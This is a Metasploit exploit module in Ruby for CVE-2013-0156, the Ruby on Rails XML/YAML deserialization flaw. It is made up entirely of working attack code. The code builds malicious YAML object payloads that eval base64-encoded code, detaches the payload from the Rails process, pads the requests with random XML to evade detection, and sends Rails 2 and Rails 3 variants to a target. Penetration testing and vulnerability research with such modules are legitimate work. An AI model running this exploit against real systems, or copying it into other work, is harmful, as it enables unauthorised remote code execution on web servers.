Ruby on Rails XML Processor YAML Deserialization Code Execution

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::CmdStagerTFTP
 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Ruby on Rails XML Processor YAML Deserialization Code Execution',
   'Description'    => %q{
     This module exploits a remote code execution vulnerability in the XML request
    processor of the Ruby on Rails application framework. This vulnerability allows
    an attacker to instantiate a remote object, which in turn can be used to execute
    any ruby code remotely in the context of the application.

    This module has been tested across multiple versions of RoR 3.x and RoR 2.x
   },
   'Author'         =>
    [
     'charlisome',  # PoC
     'espes',       # PoC and Metasploit module
     'lian',        # Identified the RouteSet::NamedRouteCollection vector
     'hdm'          # Module merge/conversion/payload work
    ],
   'License'        => MSF_LICENSE,
   'References'  =>
    [
     ['CVE', '2013-0156'],
     ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/01/09/serialization-mischief-in-ruby-land-cve-2013-0156']
    ],
   'Platform'       => 'ruby',
   'Arch'           => ARCH_RUBY,
   'Privileged'     => false,
   'Targets'        => [ ['Automatic', {} ] ],
   'DisclosureDate' => 'Jan 7 2013',
   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(80),
    OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
    OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])

   ], self.class)

  register_evasion_options(
   [
    OptBool.new('XML::PadElement', [ true, 'Pad the exploit request with randomly generated XML elements', true])
   ], self.class)
 end

 #
 # This stub ensures that the payload runs outside of the Rails process
 # Otherwise, the session can be killed on timeout
 #
 def detached_payload_stub(code)
 %Q^
  code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first
  if RUBY_PLATFORM =~ /mswin|mingw|win32/
   inp = IO.popen("ruby", "wb") rescue nil
   if inp
    inp.write(code)
    inp.close
   end
  else
   if ! Process.fork()
    eval(code) rescue nil
   end
  end
 ^.strip.split(/\n/).map{|line| line.strip}.join("\n")
 end

 #
 # Create the YAML document that will be embedded into the XML
 #
 def build_yaml_rails2

  # Embed the payload with the detached stub
  code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
  yaml =
   "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" +
   "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
   "eval(%[#{code}].unpack(%[m0])[0]);' " +
   ": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n   " +
   ":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n     :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " +
   ":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n"
  yaml
 end

 #
 # Create the YAML document that will be embedded into the XML
 #
 def build_yaml_rails3

  # Embed the payload with the detached stub
  code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) )
  yaml =
   "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" +
   "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " +
   "eval(%[#{code}].unpack(%[m0])[0]);' " +
   ": !ruby/object:OpenStruct\n table:\n  :defaults: {}\n"
  yaml
 end

 #
 # Create the XML wrapper with any desired evasion
 #
 def build_request(v)
  xml = ''

  elo = Rex::Text.rand_text_alpha(rand(12)+4)

  if datastore['XML::PadElement']
   xml << "<#{elo}>"

   1.upto(rand(1000)+50) do
    el = Rex::Text.rand_text_alpha(rand(12)+4)
    tp = ['string', 'integer'][ rand(2) ]
    xml << "<#{el} type='#{tp}'>"
    xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
    xml << "</#{el}>"
   end
  end

  el = Rex::Text.rand_text_alpha(rand(12)+4)
  xml << "<#{el} type='yaml'>"
  xml << (v == 2 ? build_yaml_rails2 : build_yaml_rails3)
  xml << "</#{el}>"

  if datastore['XML::PadElement']
   1.upto(rand(1000)+50) do
    el = Rex::Text.rand_text_alpha(rand(12)+4)
    tp = ['string', 'integer'][ rand(2) ]
    xml << "<#{el} type='#{tp}'>"
    xml << ( tp == "integer" ? Rex::Text.rand_text_numeric(rand(8)+1) : Rex::Text.rand_text_alphanumeric(rand(8)+1) )
    xml << "</#{el}>"
   end

   xml << "</#{elo}>"
  end

  xml
 end

 #
 # Send the actual request
 #
 def exploit

  print_status("Sending Railsv3 request to #{rhost}:#{rport}...")
  res = send_request_cgi({
   'uri'    => datastore['URIPATH'] || "/",
   'method' => datastore['HTTP_METHOD'],
   'ctype'  => 'application/xml',
   'data'   => build_request(3)
  }, 25)
  handler

  print_status("Sending Railsv2 request to #{rhost}:#{rport}...")
  res = send_request_cgi({
   'uri'    => datastore['URIPATH'] || "/",
   'method' => datastore['HTTP_METHOD'],
   'ctype'  => 'application/xml',
   'data'   => build_request(2)
  }, 25)
  handler
 end
end